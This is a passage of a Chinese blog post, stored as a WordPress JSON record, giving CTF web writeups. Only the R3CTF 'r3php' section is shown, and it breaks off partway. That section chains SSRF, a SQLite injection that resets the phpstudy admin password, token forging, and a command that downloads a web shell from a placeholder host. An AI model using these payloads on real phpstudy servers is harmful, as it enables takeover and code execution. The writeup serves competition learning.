{"id":1814,"date":"2024-06-14T15:52:29","date_gmt":"2024-06-14T07:52:29","guid":{"rendered":"https:\/\/cf.mnihyc.com\/blog\/?p=1814"},"modified":"2024-10-20T22:25:25","modified_gmt":"2024-10-20T14:25:25","slug":"20232024-%e8%bf%91%e6%9c%9f-ctf-%e9%83%a8%e5%88%86-writeup-%e8%ae%b0%e5%bd%95-r3ctf-d3ctf-n1ctf","status":"publish","type":"post","link":"https:\/\/cf.mnihyc.com\/blog\/archives\/1814","title":{"rendered":"2023~2024 \u8fd1\u671f CTF \u90e8\u5206 Writeup \u8bb0\u5f55 (R3CTF, D^3CTF, N1CTF, &#8230;)"},"content":{"rendered":"<p>\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e00\u4e2a\u666e\u901a\u7684 CTF Writeup \u8bb0\u5f55\u8d34\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\uff0c\u5f53\u573a\u505a\u51fa\u6765\u65f6\u5199\u7684 wp\u3002\u6709\u7684\u6ca1\u90a3\u4e48\u8be6\u7ec6\uff0c\u6216\u8005\u538b\u6839\u6ca1\u5199\u7684\uff0c\u5c31\u4e0d\u653e\u4e0a\u6765\u732e\u4e11\u4e86\u3002<\/p>\n<p>\u6309\u7167\u65f6\u95f4\u5012\u53d9\u6392\u5217\uff0c\u5927\u6982\u5305\u62ec\uff1a2024 <strong>R3CTF<\/strong>\uff0c2024 <strong>\u4eac\u9e92CTF<\/strong>\uff0c2024 <strong>D^3CTF<\/strong>\uff0c2023 <strong>\u5f3a\u7f51\u62df\u6001<\/strong>\u7ebf\u4e0a\uff0c2023 <strong>HITCTF<\/strong>\uff0c2023 <strong>N1CTF<\/strong>\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h3><strong>\u76ee\u5f55<\/strong><\/h3>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2024\u5e746\u6708\u00a0 R3CTF<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><strong><span style=\"font-size: 16px;\"><a href=\"#r3php\">web &gt;&gt; r3php<\/a><\/span><\/strong><\/li>\n<li><a href=\"#modern_wordpress\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; Modern WordPress<\/span><\/strong><\/a><\/li>\n<li><a href=\"#justmongo\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; JustMongo<\/span><\/strong><\/a><\/li>\n<li><a href=\"#ninjaclub\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; NinjaClub<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2024\u5e745\u6708\u00a0 \u4eac\u9e92CTF<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><a href=\"#ezldap\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; ezldap<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2024\u5e744\u6708\u00a0 D^3CTF<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><a href=\"#d3pythonhttp\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; d3pythonhttp<\/span><\/strong><\/a><\/li>\n<li><a href=\"#doctor\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; Doctor<\/span><\/strong><\/a><\/li>\n<li><a href=\"#moonbox\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; moonbox<\/span><\/strong><\/a><\/li>\n<li><a href=\"#stack_overflow\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; stack_overflow<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2023\u5e7411\u6708\u00a0 \u5f3a\u7f51\u62df\u6001\u7ebf\u4e0a<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><a href=\"#noumisotuitennnoka\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; noumisotuitennnoka<\/span><\/strong><\/a><\/li>\n<li><a href=\"#easyjava\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; easyjava<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2023\u5e7411\u6708\u00a0 HITCTF<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><a href=\"#hitctf\"><strong><span style=\"font-size: 16px;\">Reverse &amp; Web<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li><span style=\"font-size: 16px;\"><strong>2023\u5e7410\u6708\u00a0 N1CTF<\/strong><\/span>\n<ul style=\"list-style-type: circle;\">\n<li><a href=\"#ggos\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; ggos<\/span><\/strong><\/a><\/li>\n<li><a href=\"#laravel\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; laravel<\/span><\/strong><\/a><\/li>\n<li><a href=\"#ezmaria\"><strong><span style=\"font-size: 16px;\">web &gt;&gt; ezmaria<\/span><\/strong><\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<hr \/>\n<p><a id=\"r3php\"><\/a><strong><span style=\"font-size: 20px;\">\u00a02024\u5e746\u6708\u00a0 R3CTF<\/span><\/strong><\/p>\n<ul>\n<li>\n<p><span style=\"font-size: 20px;\"><strong>web &gt;&gt; r3php<\/strong><\/span><\/p>\n<\/li>\n<\/ul>\n<p>\u9996\u5148\u7ed9\u5230\u7684\u662f\u4e00\u4e2a\u65e0\u56de\u663e file_get_contents()\uff0c\u9650\u5b9a http \u534f\u8bae\uff0c\u53ef\u4ee5\u81ea\u5b9a\u4e49\u8bf7\u6c42\u5934\u3002\u6240\u4ee5\u76ee\u6807\u5f88\u660e\u786e\uff0c\u5c31\u662f SSRF \u653b\u51fb phpstudy \u7684\u5185\u7f51\u534f\u8bae\u3002<\/p>\n<p>php-fpm \u5f00\u7740\uff0c\u4f46\u662f\u8fd9\u91cc\u6ca1\u6cd5\u6253\u30029080 \u7528 Workerman \u5f00\u7740\u540e\u53f0\u9762\u677f\u754c\u9762\uff0c\u9664\u4e86\u767b\u5f55\u63a5\u53e3\u90fd\u6709\u9274\u6743\uff0c\u7ed5\u4e86\u5f88\u5927\u7684\u5f2f\u8def\u4e4b\u540e\u53d1\u73b0\uff0c\u6ca1\u6cd5\u4f7f\u7528\u81ea\u5b9a\u4e49\u7684 session cookie\uff08\u5b58\u7591\uff1f\u5176\u5b9e\u8fd9\u91cc\u9762\u8fd8\u5b58\u5728\u8bfb\u6587\u4ef6\/\u53cd\u5e8f\u5217\u5316\u7684\u903b\u8f91\uff09\uff0c\u6bcf\u6b21 sessionStart() \u90fd\u4f1a\u5237\u65b0\uff0c\u81ea\u7136\u9a8c\u8bc1\u7801\u5c31\u65e0\u6cd5\u7206\u7834\uff0c\u5728 GET \u540e\u9762\u4f2a\u9020 POST \u7684\u65f6\u5019\u4e5f\u8001\u662f\u7206 400\uff0c\u4e0d\u77e5\u9053\u548b\u56de\u4e8b\uff0c\u53ea\u5f97\u653e\u5f03\u3002<\/p>\n<p>8090 \u7aef\u53e3\u5f00\u7740 phpstudy \u7a0b\u5e8f\uff0c\u524d\u7aef\u754c\u9762\u4f7f\u7528\u81ea\u5b9a\u4e49\u7684\u534f\u8bae\u4e0e\u5176\u901a\u4fe1\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1822\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png\" alt=\"\" width=\"861\" height=\"383\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol.png 861w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol-300x133.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol-150x67.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-com-protocol-768x342.png 768w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/><\/p>\n<p>\u53ef\u4ee5\u770b\u5230\u662f\u6bd4\u8f83\u7c97\u7cd9\u7684\uff0cJSON^^^ \u8fd9\u6837\uff0c\u5148\u770b\u770b\u540e\u53f0\u5b9e\u9645\u7684\u767b\u5f55\u903b\u8f91\u5982\u4f55\u5b9e\u73b0\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1823\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command.png\" alt=\"\" width=\"1077\" height=\"197\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command.png 1077w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command-300x55.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command-1024x187.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command-150x27.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phstudy-login-command-768x140.png 768w\" sizes=\"auto, (max-width: 1077px) 100vw, 1077px\" \/><\/p>\n<p>\u5bc6\u7801\u5728\u524d\u9762\u53d6\u4e86 MD5\uff0c\u7528\u6237\u540d\u5565\u8fc7\u6ee4\u6ca1\u6709\uff0c\u4e5f\u5c31\u662f\u8bf4\u5b58\u5728 SQLite \u6ce8\u5165\u3002<\/p>\n<p>\u521a\u5f00\u59cb\u80af\u5b9a\u4f1a\u60f3\u901a\u8fc7 9080 \u7684\u90a3\u4e2a\u9762\u677f\u6253\uff0c\u6bd5\u7adf\u90fd\u662f HTTP\uff0c\u559c\u95fb\u4e50\u89c1\u7684\u662f\uff0cPHP 5 \u4e0b htmlspecialchars \u4e5f\u6ca1\u8fc7\u6ee4\u5355\u5f15\u53f7\uff0c\u6240\u4ee5\u4e00\u4e2a\u76f4\u89c2\u7684\u60f3\u6cd5\u662f\u76f4\u63a5\u7528\u4e07\u80fd\u5bc6\u7801\u6253\u8fdb\u53bb\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1825\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-frontend-login.png\" alt=\"\" width=\"709\" height=\"307\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-frontend-login.png 709w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-frontend-login-300x130.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-frontend-login-150x65.png 150w\" sizes=\"auto, (max-width: 709px) 100vw, 709px\" \/><\/p>\n<p>\u7136\u540e\u5c31\u4f1a\u9047\u5230\u4e24\u4e2a\u95ee\u9898\uff0c\u4e00\u662f\u6ca1\u6709\u56de\u663e\uff0c\u6ca1\u6709\u9a8c\u8bc1\u7801\u7684 session\uff0c\u65e0\u4ece\u767b\u5f55\uff0c\u4e8c\u662f\u5b9e\u9645\u8bd5\u8fc7\u4e07\u80fd\u5bc6\u7801\u4e4b\u540e\uff0c\u53d1\u73b0\u90a3\u4e2a\u7a0b\u5e8f\u5b83 crash \u4e86\uff0c\u6ca1\u9519\uff0csegmentation falt\uff0c\u4e0d\u77e5\u9053\u662f\u540e\u8fb9\u63d2\u767b\u5f55\u65e5\u5fd7\u7684\u65f6\u5019\u62a5\u9519\uff0c\u76f4\u63a5\u7a7a\u6307\u9488\u5f15\u7528\u4e86\u8fd8\u662f\u5565\uff0c\u603b\u4e4b\u4e00\u53e5\u8bdd\u5c31\u662f\uff0c\u5373\u4f7f\u89e3\u51b3\u4e86 session \u7684\u95ee\u9898\uff0c\u5728\u524d\u7aef 16 \u4e2a\u5b57\u7b26\uff0c\u7ecf\u8fc7 htmlspecialchars\uff0c\u8981\u6784\u9020\u51fa\u540c\u65f6\u7b26\u5408 SELECT \u548c INSERT \u8bed\u6cd5\u7684\u8bed\u53e5\uff0c\u975e\u5e38\u56f0\u96be\u3002<\/p>\n<p>\u63a5\u7740 nc \u8fde\u4e0a 8090\uff0c\u8bd5\u8bd5\u5b83\u8fd9\u4e2a\u534f\u8bae\u3002\u5982\u679c\u6bcf\u884c\u6253\u4e00\u4e2a JSON^^^\uff0c\u662f\u53ef\u4ee5\u5728\u5355\u4e2a\u8fde\u63a5\u5185\u6267\u884c\u591a\u6b21\u7684\uff0c\u5373\u4f7f\u524d\u9762\u62a5\u9519\u4e86\u4e5f\u80fd\u7ee7\u7eed\uff0c\u8fd9\u4e00\u70b9\u5f88\u91cd\u8981\u3002\u5176\u5b83\u63a5\u53e3\u4e5f\u9700\u8981\u9274\u6743\uff0c\u4f7f\u7528\u7684 TOKEN \u7531\u767b\u5f55\u63a5\u53e3\u8fd4\u56de\uff0c\u5927\u6982\u770b\u4e86\u4e00\u4e0b\uff0c\u4fdd\u5b58\u5728 std::map \u91cc\uff0c\u5c31\u522b\u8bf4\u5565\u4f2a\u9020\u4e86\u3002<\/p>\n<p>\u7efc\u5408\u4ee5\u4e0a\u7684\u6240\u6709\u4fe1\u606f\uff0c\u518d\u6b21\u660e\u786e\u73b0\u9636\u6bb5\u7684\u76ee\u6807\uff0c\u9996\u5148\u5f97\u767b\u5f55\u8fdb\u8fd9\u4e2a\u7cfb\u7edf\u3002\u90a3\u4e48\u5165\u53e3\u70b9\u80af\u5b9a\u662f\u8fd9\u4e2a SQL \u6ce8\u5165\u3002\u53ef\u4ee5\u60f3\u5230\uff0c\u5982\u679c\u652f\u6301\u591a\u8bed\u53e5\u6267\u884c\u7684\u8bdd\uff0c\u53ef\u4ee5\u76f4\u63a5\u63d2\u5165\u4e00\u4e2a\u6076\u610f INSERT \u66f4\u65b0 admin \u7684\u5bc6\u7801\uff0c\u800c\u5728\u672c phpstudy \u4e2d\uff0c\u5982\u679c\u5728\u67e5\u8be2\u4e2d\u63d2\u5165\u591a\u4e2a SELECT\uff0c\u53ea\u6709\u6700\u540e\u4e00\u4e2a\u7684\u7ed3\u679c\u4f1a\u88ab\u8fd4\u56de\uff0c\u4e5f\u5c31\u662f\u8bf4\u5176\u4f7f\u7528\u7684 c sqlite \u5e93\u786e\u5b9e\u662f\u652f\u6301\u591a\u8bed\u53e5\u6267\u884c\u7684\u3002<\/p>\n<p>\u73b0\u5728\u8fd8\u9700\u8981 ADMINS \u7684\u8868\u7ed3\u6784\u4ee5\u53ca\u5bc6\u7801\u7684 MD5 \u6765\u5b8c\u6210\u8fd9\u4e00\u6b65\u9aa4\u3002\u524d\u8005\u76f4\u63a5 strings \u4e00\u4e0b\u5c31\u80fd\u770b\u5230\uff0c\u800c\u540e\u8005\uff0c\u8fd9\u8fd8\u80fd\u662f\u4e2a\u95ee\u9898\uff1f\u4f46\u662f\u5c31\u662f\u600e\u4e48\u8bd5\u5c31\u662f\u4e0d\u5bf9\u3002\u5e94\u8be5\u4e0d\u4f1a\u6709\u4eba\u60f3\u53bb\u628a\u5b83 MD5 \u7684\u7b97\u6cd5\u9006\u51fa\u6765\uff0c\u4e8e\u662f\u4e00\u4e2a\u76f4\u89c2\u7684\u60f3\u6cd5\u662f\uff0c\u628a\u5bc6\u7801\u5148\u6539\u6210 123456\uff0c\u7136\u540e\u5728\u6570\u636e\u5e93\u4e2d\u627e\u5230\u5bf9\u5e94 hash \u503c\u3002\u4f46\u662f\u6570\u636e\u5e93\u5462\uff1f\u641c\u4e86\u534a\u5929\u6ca1\u627e\u5230\uff0cstrace openat \u4e86\u4e5f\u6ca1\u627e\u5230\uff0c\u6709\u70b9\u6000\u7591\u4eba\u751f\u3002\u518d\u770b\u770b\u4ee3\u7801\uff0c\u80fd\u53d1\u73b0\u5e95\u4e0b\u8fd9\u4e2a\u9006\u5929\u7684\u6df7\u6dc6\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1827\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-start.png\" alt=\"\" width=\"870\" height=\"174\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-start.png 870w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-start-300x60.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-start-150x30.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-start-768x154.png 768w\" sizes=\"auto, (max-width: 870px) 100vw, 870px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1828\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-key.png\" alt=\"\" width=\"692\" height=\"485\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-key.png 692w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-key-300x210.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-sqlitedb-key-150x105.png 150w\" sizes=\"auto, (max-width: 692px) 100vw, 692px\" \/><\/p>\n<p>\u66f4\u8981\u547d\u7684\u662f\uff0c\u76f4\u63a5\u628a\u6570\u636e\u5e93\u8131\u51fa\u6765\u7528 sqlcipher \u8fd8\u6253\u4e0d\u5f00\uff0c\u4f30\u8ba1\u662f\u5b83\u5728 depends \u91cc hook \u4e86 sqlite3 \u7cfb\u5217\u51fd\u6570\uff0c\u53c8\u52a0\u5bc6\u4e86\u4e00\u6b21\u3002\u4e00\u4e2a MD5 \u641e\u5f97\u8fd9\u4e48\u9ebb\u70e6\uff1f\u7528 gdb \u4e5f\u4e0b\u4e0d\u4e86 breakpoint\uff0c\u4e0d\u77e5\u9053\u53c8\u5e72\u4e86\u5565\u3002\u7136\u540e\u60f3\u5230\u5b83\u4f1a\u5728\u6267\u884c\u5931\u8d25\u7684\u65f6\u5019\u6253\u5370 log\uff0c\u4e8e\u662f\u5c31\u627e\u4e86\u4e2a\u8bed\u53e5\u91cc\u8fb9\u5e26 MD5 \u7684\uff0c\u8ba9\u5b83\u62a5\u9519\uff0c\u5c31\u80fd\u5728\u56de\u663e\u91cc\u770b\u5230\u4e4b\u524d\u5fc3\u5fc3\u5ff5\u5ff5\u7684\u5bc6\u7801 hash\uff0c\u8fd9\u91cc\u7528\u4e86 add_admin \u8fd9\u4e2a command\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1829\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog.png\" alt=\"\" width=\"1280\" height=\"134\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog.png 1280w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog-300x31.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog-1024x107.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog-150x16.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-addadmin-errorlog-768x80.png 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/p>\n<p>cmd5 \u7adf\u7136\u8fd8\u8ba4\u8bc6\uff0c\u53cd\u6b63\u6211\u4e0d\u8ba4\u8bc6\u3002\u603b\u4e4b hash \u6709\u4e86\uff0c\u8868\u7ed3\u6784\u6709\u4e86\uff0c\u5c31\u53ef\u4ee5\u6784\u9020\u8fd9\u6837\u7684 command \u8fdb\u884c SQL \u6ce8\u5165\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1830\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-cmd5-result.png\" alt=\"\" width=\"710\" height=\"271\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-cmd5-result.png 710w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-cmd5-result-300x115.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-cmd5-result-150x57.png 150w\" sizes=\"auto, (max-width: 710px) 100vw, 710px\" \/><\/p>\n<pre class=\"theme:github lang:json decode:true   \">{\"command\":\"login\",\"data\":{\"username\":\"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a\",\"pwd\":\"123456\"},\"token\":\"\"}<\/pre>\n<p>\u6700\u540e\u5343\u4e07\u522b\u8ba9\u5b83\u8fd4\u56de\u5565\u7ed3\u679c\uff0c\u5426\u5219\u8fdb\u5165\u63d2\u5165\u65e5\u5fd7\u6d41\u7a0b\u7684\u65f6\u5019\u5c31\u4f1a\u5d29\u6e83\uff0c\u53cd\u6b63\u6211\u662f\u633a\u96be\u5d29\u3002<\/p>\n<p>\u4fee\u6539\u8fc7\u540e\uff0c\u5c31\u53ef\u4ee5\u6b63\u5e38\u4f7f\u7528 123456 \u5bc6\u7801\u767b\u5f55\u4e86\u3002\u5728\u9762\u677f\u91cc\u5927\u6982\u7ffb\u4e86\u7ffb\uff0c\u6587\u4ef6\u64cd\u4f5c\u57fa\u672c\u4e0a\u662f\u7531 9080 \u7684 php \u5b9e\u73b0\u7684\uff0c\u4e0d\u8fc7\u6709\u4e2a\u4e0b\u8f7d\u8fdc\u7a0b\u6587\u4ef6\u7684\u529f\u80fd\uff0c\u53c2\u6570\u76f4\u63a5\u4f20\u8fdb json\uff0c\u662f\u540e\u7aef\u5b9e\u73b0\u7684\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1840\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-download-remote-file.png\" alt=\"\" width=\"935\" height=\"400\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-download-remote-file.png 935w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-download-remote-file-300x128.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-download-remote-file-150x64.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-download-remote-file-768x329.png 768w\" sizes=\"auto, (max-width: 935px) 100vw, 935px\" \/><\/p>\n<p>\u76f4\u63a5\u5f80 wwwroot \u91cc\u4e0b shell \u5c31\u5b8c\u4e8b\u4e86\u3002\u6d4b\u8fc7\u4e4b\u540e\uff0c\u786e\u5b9e\u662f\u53ef\u4ee5\u7684\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u6574\u4f53\u4e0a\u7684\u653b\u51fb\u94fe\u5df2\u7ecf\u5b8c\u6210\u3002<\/p>\n<pre class=\"lang:default decode:true \">{\"command\":\"download_remote_file\",\"uid\":4,\"data\":{\"remote_url\":\"http:\/\/IP\/shell.php\",\"download_to\":\"\/www\/admin\/localhost_80\/wwwroot\/shell.php\"},\"token\":\"TOKEN\"}<\/pre>\n<p>\u8fd8\u5269\u4e0b\u51e0\u4e2a\u95ee\u9898\uff0c\u4e00\u662f\u6ca1\u6709\u56de\u663e\uff0c\u800c TOKEN \u7531 login command \u8fd4\u56de\uff0c\u4e5f\u8ddf\u968f\u673a session \u5237\u65b0\u4e86\u4e00\u6837\uff0c\u4e0d\u592a\u53ef\u63a7\u3002\u5e78\u597d\u591a\u770b\u4e86\u773c\u5b83\u7684\u751f\u6210\u7b97\u6cd5\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1841\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-token-generation.png\" alt=\"\" width=\"600\" height=\"393\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-token-generation.png 600w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-token-generation-300x197.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-token-generation-150x98.png 150w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/p>\n<p>\u53d1\u73b0\u7adf\u7136\u662f timestamp\uff0c\u4e0d\u662f\u9884\u671f\u7684\u968f\u673a\u6570\uff0c\u5e95\u4e0b\u8fd8 insert \u62fc\u63a5\uff0cMD5 \u4e86\u51e0\u6b21\u3002\u9274\u4e8e\u6ca1\u6709\u529e\u6cd5\u8c03\u8bd5\uff0ctcpdump \u6293\u4e86\u4e2a\u5305\uff0c\u6700\u540e\u731c\u51fa\u6765\u4e86\uff1a<code>md5(md5('admin'+timestamp).upper())<\/code><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1842\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token.png\" alt=\"\" width=\"1027\" height=\"493\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token.png 1027w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token-300x144.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token-1024x492.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token-150x72.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-tcpdump-login-token-768x369.png 768w\" sizes=\"auto, (max-width: 1027px) 100vw, 1027px\" \/><\/p>\n<p>TOKEN \u7684\u95ee\u9898\u89e3\u51b3\uff0c\u5728\u53d1\u9001 login command \u7684\u65f6\u5019\u8ba1\u7b97\uff0c\u4e4b\u540e\u7684\u8bf7\u6c42\u5e26\u4e0a\u5373\u53ef\u3002<\/p>\n<p>\u73b0\u5728\u5c31\u5269\u6700\u540e\u4e00\u6b65\uff0c\u5c06\u8fd9\u4e9b\u64cd\u4f5c\u96c6\u6210\u5230\u4e00\u5f00\u59cb\u7684 file_get_contents() \u91cc\u9762\u3002\u4f46\u662f\u5f88\u5feb\u5c31\u9047\u5230\u4e86\u65b0\u7684\u95ee\u9898\uff0c\u7528 tcpdump \u53ef\u4ee5\u770b\u5230\uff0cf_g_c() \u53d1\u9001\u5b8c\u8bf7\u6c42\u540e\uff0c\u53ea\u6536\u5230\u4e86\u524d\u9762 parse error: GET \/ &#8230; \u8fd9\u4e2a\u56de\u5305\uff0c\u540e\u9762\u7684 ^^^ \u4f3c\u4e4e\u6ca1\u6709\u88ab\u89e3\u6790\uff0c\u8fd9\u4e0e\u5728 nc \u4e2d\u5f97\u5230\u7684\u7ed3\u679c\u4e0d\u540c\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f<\/p>\n<p>\u4ece\u90a3\u4e2a\u5de8tm\u957f\uff0cIDA F5 \u8dd1\u4e86\u4e24\u5c0f\u65f6\u6ca1\u51fa\u6765\u6700\u540e\u653e\u5f03\u4e86\u7684\u4e3b\u8c03\u5ea6\u51fd\u6570\u4e2d\u56de\u6eaf\uff0c\u53ef\u4ee5\u770b\u5230\u5904\u7406 socket \u7684\u6d41\u7a0b\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1843\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-ida-onsocket.png\" alt=\"\" width=\"736\" height=\"613\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-ida-onsocket.png 736w, 